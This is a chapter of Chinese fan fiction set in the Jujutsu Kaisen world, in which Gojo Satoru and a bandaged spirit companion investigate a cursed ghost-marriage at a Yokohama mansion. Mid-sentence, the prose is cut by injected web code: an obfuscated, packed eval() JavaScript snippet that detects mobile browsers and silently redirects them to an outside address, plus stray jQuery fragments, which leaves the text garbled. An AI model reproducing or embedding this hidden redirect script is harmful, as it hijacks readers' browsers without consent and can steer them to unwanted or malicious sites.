12. 第 12 章 冥婚索命

作品:《[咒回]被分尸后成为背后灵

    第十二章


    晨光将街道染成柔和的金橘色,空气中还残留着清晨的微凉。


    五条悟拎着甜点走在前面,步伐轻快得像踩在云端,雪白的发丝随着微风飘扬,丝毫看不出被打断早餐的不爽。


    月跟在他身后,手里的草莓大福早已吃完,指尖残留着淡淡的甜香,绷带下的嘴角不自觉地抿出一个浅浅的弧度,身形轻得像一阵风,掠过街道时纤毫不染。


    街角早已停着一辆黑色轿车,伊地知正站在车旁低头核对文件,额角还挂着细密的汗珠——显然是急匆匆赶过来的。


    他抬头瞥见五条悟的身影,刚要露出恭敬的笑容,目光扫到他身后的月时,瞳孔骤然收缩,手里的文件“啪嗒”一声掉在地上。


    “鬼、鬼啊!”伊地知吓得连连后退三步,双手抱头蹲在地上,声音都在发颤,“全身缠绷带的鬼!”


    五条悟挑眉,弯腰捡起地上的文件扔给他,语气带着明显的批评:“伊地知,又乱喊别人鬼,真没礼貌。”


    伊地知这才一脸恍然地反应过来,慌忙站起身拍了拍身上的灰尘,脸上满是歉意:“对、对不起!我一时忘了……是李琴月小姐,抱歉抱歉!”


    他一边鞠躬道歉,一边偷偷抬眼打量月,却还是忍不住有些发怵。


    白色绷带从她的脸颊缠到脖颈,手臂和手腕也裹得严严实实,只露出一双清冷却带着淡淡疏离的眼睛,在晨光下确实透着几分诡异。


    月对此毫无波澜,只是安静地站在五条悟身边,灵体的身影淡得几乎要与晨光融为一体,连地上的影子都若有若无。


    “上车吧,别耽误时间。”五条悟率先拉开车门,自己坐进副驾驶,又转头对月扬了扬下巴,“月,后座宽敞,你随便坐。”


    月弯腰坐进后座,在靠窗的位置坐下,指尖轻轻搭在车窗上,感受着玻璃传来的微凉触感。


    伊地知发动汽车,一边平稳地汇入车流,一边递出平板开始汇报任务:“五条先生,这次的委托方是横滨警方和中华街商会。


    出事的是商会会员王某,他是做进出口贸易发家的,在中华街颇有威望,唯一的独子半个月前在路上意外身亡。”


    五条悟从纸盒里掏出寿司,拆开包装就往嘴里塞,边翻看平板上的资料边含糊不清地问道:“车祸?老来得子?所以才搞冥婚冲喜?”


    “是的。”伊地知点头,语气凝重,“王富商年近六十才得此子,宠溺至极。儿子死后,他彻底乱了分寸,不听任何人劝阻,一门心思扑在封建迷信上。


    请了好几个所谓的‘风水大师’来看,说要通过冥婚为儿子‘冲喜’,才能平息怨气,保住家族运势,甚至能让王家生意更兴旺。”


    “哈?这都什么年代了,居然还有人信这种鬼话?”五条悟夸张地瞪大眼,绷带都滑落了些许,露出眼底的六眼微光,“就没人劝劝他吗?”


    “怎么没劝?”伊地知推了推眼镜,语气里带着几分无奈,“同为商会会员的几位老友,都劝他不要搞这些封建迷信,既不科学又可能害了别人,不如好好让儿子安息。


    结果王某不仅不听,还当场辱骂了劝他的人,说别人是嫉妒他家业,见不得他儿子在阴间享福,之后就再也没人敢劝了。”


    五条悟嚼着寿司,摇了摇头:“迷信的家伙还真是可怕啊,但作为父母,其爱子之心又让人怜悯,真是可怜又可恨。”


    “他花重金找到了一位生辰八字合适的女孩,女孩家境贫寒,就同意了这门冥婚,把早逝女孩的骨灰给了王富商。”伊地知的声音压低了些。


    “婚礼定在五天前举行,仪式进行到‘拜堂’环节时,灵堂突然涌起漫天大雾,伴随着凄厉的唢呐声和哭喊声,红白纸钱像雪花一样飘落,现场纸扎的嫁妆突然动了起来——纸人、纸马、纸轿车都在原地摇晃,纸人的手臂甚至还在微微摆动,像是有了生命。


    王某当场吓得中断仪式,将所有人遣散,但从那以后,王家别墅就开始怪事频发。”


    “哦?纸人动了?这可比咒灵有意思多了!伊地知你很适合去说书嘛。”五条悟来了兴致,又拿出一个草莓大福塞进嘴里,甜腻的奶油在舌尖化开,让他眯起了眼睛。


    月坐在后座,安静地听着两人的对话,指尖微微收紧。她想起记忆里邻家阿姊婚礼时脸上醉人的微笑,想起那些关于“结婚”的美好憧憬,心中泛起一丝沉郁。


    同样是“婚礼”,有人期待,有人被迷信蒙蔽双眼,有人却被金钱裹挟,最后演变成地狱。


    伊地知没理会五条悟的调侃,继续说道:“周边住户反映,每天深夜能听到别墅方向传来唢呐声和女人的哭声,有时还能看到穿红嫁衣的人影在别墅围墙外游荡。


    更诡异的是,住的最近的邻居早上起床发现,自家门口摆放着纸扎的小人,那些纸人都是中式喜服打扮,五官用朱砂勾勒,眼睛却是黑漆漆的空洞,看着格外渗人。”


    “还有商会的人说,看到王家别墅的窗户上贴满了红纸剪的喜字,喜字后面隐约有影子晃动,像是有人在里面张望,甚至能看到纸扎的手扒在窗沿上。”


    五条悟突然“哇”了一声,语气夸张:“纸人敲门?红衣鬼影?这剧情比恐怖电影还刺激!”


    “王某一开始试图封锁消息,但怪事愈演愈烈,甚至有清洁工在别墅外围发现了纸扎的小棺材,里面放着迷你版的红嫁衣和纸做的骨头。”


    伊地知的脸色愈发凝重,“直到昨天,他不顾警方和商会的劝阻,执意重启冥婚仪式,还请了所谓的‘高僧’诵经作法。”


    “结果仪式刚开始半小时,大雾再次爆发,比上次更浓,黑沉沉的像是墨汁泼过,还带着一股浓烈的血腥味。


    所有参与仪式的人——包括王某夫妇、亲友宾客、诵经僧人,共二十三人,全部被卷入雾中,至今下落不明。警方和商会没办法,只能委托我们咒术界出手。”


    “二十三人?领域完全成型了啊。”五条悟面色冷凝,语气陡然严肃,“这怨念可不是一般的深。”


    车子驶离市区,渐渐拐进郊外的豪宅区。这里的别墅间距极大,每栋都带着独立庭院和花园,中式飞檐翘角与西式廊柱雕花交错,却透着一股疏离的奢华。


    道路两旁的树木枝繁叶茂,枝叶交错间投下斑驳的阴影,阳光都难以穿透,让整个区域显得有些阴森。


    “前面就是王家别墅所在的区域,已经拉了警戒线。”伊地知放慢车速,指了指前方。


    月透过车窗望去,只见远处的路口站着几名警察,黄色警戒线将整片区域封锁,警戒线后聚集着一些好奇的住户。


    他们站在自家别墅的院子里,远远地望着王家的方向,脸上满是惊恐和探究,偶尔低声交谈几句,声音小得几乎听不见。


    五条悟让伊地知在警戒线外停车,推开车门就走了下去,为了不被普通人察觉,月干脆直接飘出车外。灵体的形态让她可以自由穿过穿梭,周围的警察和住户毫无察觉,依旧望着王家别墅的方向。


    “大爷,请问王家别墅最近是不是闹得挺凶啊?”五条悟走到一位站在庭院门口的老人身边,脸上挂着爽朗的笑容。


    老人警惕地看了他一眼,见他蒙着绷带怪模怪样的,本来不愿意搭理。


    五条悟松开绷带,露出个笑脸。大爷看着他璀璨的双眼,犹豫一下,最终没忍住八卦的心思,压低声音说道:“可不是嘛!那老王真是猪油蒙了心!为了个死儿子,逼得人家小姑娘去冥婚,现在遭报应了吧!”


    “遭报应?具体怎么回事啊?”五条悟追问。


    “五天前第一次办婚礼,就起大雾,我们都劝他算了,他偏不听。办到一半,发现女方的骨灰生辰八字不对,就停了。”


    老人叹了口气,语气里带着几分后怕:“本来以为他歇了心思,结果昨天中午,他又办婚礼。吹吹打打的,隔着几条街都能听见唢呐声,难听死了,比哭丧还难听。


    结果没过多久,就又起了大雾,那雾浓得很,站在跟前都看不清人影,还带着一股血腥味。我们都躲在家里不敢出来,后来雾散了,就听说里面的人都没出来,警察来了之后就封了路,说是什么意外事故。”


    “您有没有看到什么特别的东西?比如穿红衣服的人,或者纸人之类的?”五条悟问道。


    老人的身体抖了一下,眼神里闪过恐惧:“我昨天傍晚偷偷看过一眼,那别墅的大门开着一条缝,里面飘着好多纸人,有男有女,都穿着喜服,有的纸人手里还拿着纸做的马鞭和勾魂锁,看着就像阴曹地府的阴兵!


    还有那唢呐声,听得人心里发慌,像是催命符一样,吹得人头疼欲裂!”


    另一位中年妇女也凑了过来,脸色苍白地说道:“我还看到别墅二楼的窗户上,趴着一个穿红嫁衣的女人,头发很长,垂到肩膀,脸对着外面,虽然看不清五官,但总觉得她在盯着我们看……


    吓得我赶紧拉上窗帘,一晚上都没敢开灯。今天早上我看到窗台上,居然有几个纸扎的脚印,黑漆漆的,像是用墨汁印上去的!”


    五条悟听完,嘴角的笑容渐渐收敛,重新戴好,遮住了眼底的凝重。


    他转头看向月,用只有两人能听到的声音说道:“日本也有类似的冥婚旧俗,侧重点和中国不同,现代已经极为少见了。看样子,这咒灵多半和那被冥婚的女子有关。”


    月轻轻点头,指尖的淡青咒力不自觉地萦绕。她能感受到前方王家别墅传来的强烈恶意,那种不甘、怨恨、绝望交织在一起,形成一股强大的气场。


    穿过警戒线,随着越来越靠近王家别墅,周围的空气愈发阴冷,阳光像是被隔绝在外,连风吹过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976459|193516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都带着刺骨的寒意。


    王家别墅是典型的中式庭院结构,朱红色的大门敞开着,门楣上挂着白色丧幡和红色喜字,红白交织的色彩透着诡异的违和感,像是一场盛大的葬礼和婚礼被强行揉在一起。


    大门两侧摆放着两排纸扎的嫁妆,左边是纸扎的金童玉女,高约一米,穿着鲜红的喜服,朱砂点的嘴唇咧开一个僵硬的笑容,眼睛却是黑漆漆的窟窿,仿佛在无声地嘲笑;


    右边是纸扎的洋房、汽车、珠宝箱,甚至还有纸扎的佣人,做工精致得像缩小版的实物,却在阴风里微微晃动,发出“咯吱咯吱”的声响,像是关节转动的声音。


    庭院里散落着大量纸钱和残烛,地面上还有未干的暗红色痕迹,像是血迹,被风吹得凝固成不规则的斑块。


    走廊两侧挂满了红色灯笼,灯笼里的火光忽明忽暗,将周围的纸人、纸马映照得鬼影幢幢。


    更令人毛骨悚然的是,庭院角落堆着数十个纸人,有文官武将打扮的,有丫鬟仆役模样的,个个都睁着空洞的眼睛,齐刷刷地朝着大门方向,像是在迎接闯入者,纸人的裙摆和衣袖在风里摆动,像是随时会扑上来。


    “这排场,倒是挺齐全的,可惜啊,都是给死人用的。”五条悟挑眉,语气里带着几分嘲讽。


    月的目光扫过那些纸人,只觉得浑身发冷。她能感受到纸人身上附着的微弱怨念,显然是被咒灵的力量影响,才会显得如此诡异。


    庭院深处的正厅是典型的中式构造,雕花木门虚掩着,门楣上贴着大大的“囍”字,却被一道暗红色的痕迹划过,像是血痕,透着不祥的气息。


    穿过庭院,便是灵堂所在的正厅。一股浓郁的血腥味和腐朽气息扑面而来,夹杂着纸钱的焚烧味和淡淡的霉味,让人作呕。


    大雾从门缝里涌出,像是有生命般缠绕着两人的脚踝,冰冷刺骨,仿佛要钻进骨头缝里。


    “小心,跟紧我。”五条悟的语气变得严肃,扯下绷带,六眼透过浓雾分析内部的咒力流动。


    他伸出手,想要拉住月的手腕,却扑了个空。


    五条悟愣了一下,转头看去——身后空荡荡的,月的身影早已消失在浓雾中。他们已经进入了领域。


    他下意识地通过契约感知对方,发现契约纽带并未断裂。


    按照这式神契约的规则,若是两人距离超过两百多米,月会被强制召回玉佩中,回到他身边,但目前并没有。


    “不在同一维度空间吗?”五条悟摩挲着下巴,苍穹般的蓝眸闪烁着锐利的光芒,“有意思,这个领域居然能分割空间。”


    他抬头看向正厅深处,大雾愈发浓烈,唢呐声突然变得尖锐起来,像是在耳边响起,带着强烈的怨念和恶意。


    庭院里的纸人开始轻微晃动,朱砂勾勒的嘴唇像是在开合,仿佛在诉说着无尽的怨恨,纸人的手臂也缓缓抬起,指向正厅的方向,像是在指引,又像是在召唤。


    *


    而此刻的月,正站在一片陌生的白雾中。


    大雾弥漫,脚下的地面像是被鲜血浸染过一般,粘稠而压抑,连呼吸都带着铁锈般的血腥味。


    耳边传来凄厉的唢呐声,时而尖锐,时而低婉,夹杂着女人的哭声,像是在演绎一场绝望的婚礼。


    她低头看向自己的双手,绷带依旧缠绕在上面,指尖的淡青咒力微微波动,却感受不到五条悟的气息。


    契约连接还在,说明他们距离不远,只是被分隔在了不同的“场景”里。


    大雾消散了一些,右侧方的远处隐隐浮现出人影。


    那不是人,而是一队穿着送婚服的纸人,它们身后更远处,一顶红色的花轿缓缓浮现,轿身绣着龙凤呈祥的图案,却透着刺骨的寒意,轿帘紧闭,隐约能看到里面坐着一个穿红嫁衣的人影,裙摆垂落在地,沾染着暗红色的痕迹。


    月的心跳渐渐加快,绷带下的脸色变得苍白。她能感受到周围浓郁的怨念,那是属于被强行冥婚的女孩的不甘和仇恨,像潮水般涌来,几乎要将她的灵体淹没。


    她握紧拳头,指尖的淡青咒力凝聚成淡淡的光晕。


    纸人开始移动,步伐僵硬,却带着不容置疑的恶意,一步步向她逼近。


    马鞭挥舞的破空声、勾魂锁碰撞的金属声,与唢呐声、哭声交织在一起,形成一首绝望的冥婚挽歌。


    月深吸一口气,右手轻轻抬起。指尖的淡青咒力尚未完全凝聚,周遭的浓雾便像活过来一般,缠绕而上。那雾气触感粘稠,带着甜腻到令人作呕的脂粉气。


    一个带着笑意、却冰冷彻骨的女子声音,仿佛贴在她的耳廓,轻轻呵出:“吉时已到——”


    一股过电般的寒意从尾椎骨炸开,瞬间爬满整条脊背。她几乎能“听”到自己每一根寒毛竖立时,与粘稠雾气摩擦的细微声响。